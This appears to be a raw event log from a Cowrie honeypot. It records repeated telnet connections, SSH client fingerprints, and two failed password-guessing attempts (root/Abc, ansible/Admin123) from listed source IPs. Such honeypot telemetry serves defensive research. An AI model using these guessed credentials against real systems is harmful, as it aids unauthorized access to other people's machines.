{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33858,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece5e3877f12","protocol":"telnet","message":"New connection: 204.10.38.242:33858 (159.203.135.109:23) [session: ece5e3877f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.436778Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":41314,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bcdb40398e","protocol":"ssh","message":"New connection: 103.146.202.174:41314 (159.203.135.109:22) [session: 44bcdb40398e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.798077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.803900Z","src_ip":"103.146.202.174","session":"44bcdb40398e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.738836526870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.046811Z","src_ip":"204.10.38.242","session":"0c9449454373","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.052098Z","src_ip":"103.146.202.174","session":"44bcdb40398e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.909358024597168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.187465Z","src_ip":"204.10.38.242","session":"0334e672e351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786550760269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.196255Z","src_ip":"204.10.38.242","session":"ccccc0aa4142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79002094268799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.226429Z","src_ip":"204.10.38.242","session":"69dc4f19ca97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951130390167236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.234224Z","src_ip":"204.10.38.242","session":"bdad22b7b014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094257831573486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.238710Z","src_ip":"204.10.38.242","session":"a48ad6b834ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59438,"dst_ip":"159.203.135.109","dst_port":23,"session":"5787c74fac11","protocol":"telnet","message":"New connection: 204.10.38.242:59438 (159.203.135.109:23) [session: 5787c74fac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:55.896922Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc","message":"login attempt [root/Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:56.051099Z","src_ip":"103.146.202.174","session":"44bcdb40398e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.882109880447388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:56.227152Z","src_ip":"204.10.38.242","session":"ad80145b212d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42094,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e0fbd47415","protocol":"telnet","message":"New connection: 204.10.38.242:42094 (159.203.135.109:23) [session: 97e0fbd47415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:56.339710Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46094,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f84a88d40d","protocol":"telnet","message":"New connection: 204.10.38.242:46094 (159.203.135.109:23) [session: 51f84a88d40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.170925Z"}
{"eventid":"cowrie.session.closed","duration":30.75279712677002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.205372Z","src_ip":"204.10.38.242","session":"e3af35c1ab9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93522834777832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.223284Z","src_ip":"204.10.38.242","session":"6a34e6c9683f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.296785Z","src_ip":"103.146.202.174","session":"44bcdb40398e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46486,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d8f7bdad7ec","protocol":"telnet","message":"New connection: 204.10.38.242:46486 (159.203.135.109:23) [session: 0d8f7bdad7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.304561Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f29833650568","protocol":"telnet","message":"New connection: 204.10.38.242:46660 (159.203.135.109:23) [session: f29833650568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.326192Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40014,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e1d921f43e","protocol":"telnet","message":"New connection: 204.10.38.242:40014 (159.203.135.109:23) [session: 22e1d921f43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:57.785978Z"}
{"eventid":"cowrie.session.closed","duration":31.019689798355103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:58.120111Z","src_ip":"204.10.38.242","session":"38fd32871a58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563971519470215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:58.205106Z","src_ip":"204.10.38.242","session":"f5f49104d2ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51182,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aa6ef0119bb","protocol":"telnet","message":"New connection: 204.10.38.242:51182 (159.203.135.109:23) [session: 0aa6ef0119bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:58.362477Z"}
{"eventid":"cowrie.session.closed","duration":30.598900079727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.045074Z","src_ip":"204.10.38.242","session":"f4a0868e3038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906693696975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.063913Z","src_ip":"204.10.38.242","session":"6b12759fe309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791507720947266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.079551Z","src_ip":"204.10.38.242","session":"c4f80f0f6184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55162,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1fd1c54ed4","protocol":"telnet","message":"New connection: 204.10.38.242:55162 (159.203.135.109:23) [session: 2a1fd1c54ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.183055Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56168,"dst_ip":"159.203.135.109","dst_port":23,"session":"d552b51daa30","protocol":"telnet","message":"New connection: 204.10.38.242:56168 (159.203.135.109:23) [session: d552b51daa30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.382508Z"}
{"eventid":"cowrie.session.closed","duration":30.561845541000366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.411251Z","src_ip":"204.10.38.242","session":"1731e1ca6746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57044,"dst_ip":"159.203.135.109","dst_port":23,"session":"42829a6fd751","protocol":"telnet","message":"New connection: 204.10.38.242:57044 (159.203.135.109:23) [session: 42829a6fd751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.473987Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"494afb11515b","protocol":"telnet","message":"New connection: 204.10.38.242:58810 (159.203.135.109:23) [session: 494afb11515b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:59.848673Z"}
{"eventid":"cowrie.session.closed","duration":31.031420946121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.075445Z","src_ip":"204.10.38.242","session":"2916ca21bf92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991501808166504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.139249Z","src_ip":"204.10.38.242","session":"4de276a654ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647331714630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.196018Z","src_ip":"204.10.38.242","session":"f835da507895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac03d55ce36","protocol":"telnet","message":"New connection: 204.10.38.242:55384 (159.203.135.109:23) [session: cac03d55ce36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.274043Z"}
{"eventid":"cowrie.session.closed","duration":32.53231763839722,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.316031Z","src_ip":"204.10.38.242","session":"31dfba248105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60410,"dst_ip":"159.203.135.109","dst_port":23,"session":"058968dc732b","protocol":"telnet","message":"New connection: 204.10.38.242:60410 (159.203.135.109:23) [session: 058968dc732b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.322731Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b987850acb4","protocol":"telnet","message":"New connection: 204.10.38.242:60654 (159.203.135.109:23) [session: 2b987850acb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.350737Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46444,"dst_ip":"159.203.135.109","dst_port":22,"session":"fefccd52db9b","protocol":"ssh","message":"New connection: 159.203.92.129:46444 (159.203.135.109:22) [session: fefccd52db9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.431511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.439205Z","src_ip":"159.203.92.129","session":"fefccd52db9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.445594Z","src_ip":"159.203.92.129","session":"fefccd52db9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin123","message":"login attempt [ansible/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.458453Z","src_ip":"159.203.92.129","session":"fefccd52db9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33646,"dst_ip":"159.203.135.109","dst_port":23,"session":"713ed24860a1","protocol":"telnet","message":"New connection: 204.10.38.242:33646 (159.203.135.109:23) [session: 713ed24860a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.501987Z"}
{"eventid":"cowrie.session.closed","duration":31.272536039352417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.572282Z","src_ip":"204.10.38.242","session":"792048375b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34058,"dst_ip":"159.203.135.109","dst_port":23,"session":"c435ecd1e99c","protocol":"telnet","message":"New connection: 204.10.38.242:34058 (159.203.135.109:23) [session: c435ecd1e99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.585492Z"}
{"eventid":"cowrie.session.closed","duration":31.536575317382812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:00.831368Z","src_ip":"204.10.38.242","session":"4f58b75afa7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80500364303589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:01.123176Z","src_ip":"204.10.38.242","session":"0d382ecabe21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80437660217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:01.164628Z","src_ip":"204.10.38.242","session":"3b47c890cdbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740952014923096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:01.220267Z","src_ip":"204.10.38.242","session":"3747ec5abec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:01.468622Z","src_ip":"159.203.92.129","session":"fefccd52db9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e2eb11e55a","protocol":"telnet","message":"New connection: 204.10.38.242:38572 (159.203.135.109:23) [session: 95e2eb11e55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:01.568545Z"}
{"eventid":"cowrie.session.closed","duration":30.736862182617188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:02.061287Z","src_ip":"204.10.38.242","session":"b50c9d0e418d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748344898223877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:02.104112Z","src_ip":"204.10.38.242","session":"482d31fe0226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8260440826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:02.246963Z","src_ip":"204.10.38.242","session":"425ad46dddbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5913ddb495c8","protocol":"telnet","message":"New connection: 204.10.38.242:43594 (159.203.135.109:23) [session: 5913ddb495c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:02.639352Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17154ee579f","protocol":"telnet","message":"New connection: 204.10.38.242:44564 (159.203.135.109:23) [session: b17154ee579f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:02.879138Z"}
{"eventid":"cowrie.session.closed","duration":30.262925148010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.046385Z","src_ip":"204.10.38.242","session":"df06aec837e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8985333442688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.108868Z","src_ip":"204.10.38.242","session":"30e9ddf6e120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463459968566895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.113928Z","src_ip":"204.10.38.242","session":"2f881ccf75c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075355768203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.117317Z","src_ip":"204.10.38.242","session":"4144ae90530a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17918586730957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.236128Z","src_ip":"204.10.38.242","session":"a5f60db9f4f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.205.179.185","src_port":62135,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a1e4f469c04","protocol":"telnet","message":"New connection: 106.205.179.185:62135 (10.17.0.5:23) [session: 6a1e4f469c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.254093Z"}
{"eventid":"cowrie.session.closed","duration":31.359237670898438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.289239Z","src_ip":"204.10.38.242","session":"e2a5b6a8b1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907614707946777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:03.380217Z","src_ip":"204.10.38.242","session":"e11631f49ea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604684829711914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.007057Z","src_ip":"204.10.38.242","session":"40a13224d1b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d09726dfb866","protocol":"telnet","message":"New connection: 204.10.38.242:50296 (159.203.135.109:23) [session: d09726dfb866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.081074Z"}
{"eventid":"cowrie.session.closed","duration":30.30957341194153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.115490Z","src_ip":"204.10.38.242","session":"a1dbd7000007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84770441055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.147625Z","src_ip":"204.10.38.242","session":"3e98d92b4f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752487897872925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.189327Z","src_ip":"204.10.38.242","session":"404a6c62cd4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27307963371277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.192791Z","src_ip":"204.10.38.242","session":"6b6ad13fded1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50992,"dst_ip":"159.203.135.109","dst_port":23,"session":"96751430118f","protocol":"telnet","message":"New connection: 204.10.38.242:50992 (159.203.135.109:23) [session: 96751430118f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.290679Z"}
{"eventid":"cowrie.session.closed","duration":31.05667495727539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:04.632960Z","src_ip":"204.10.38.242","session":"0654d9e3491b","protocol":"telnet"}
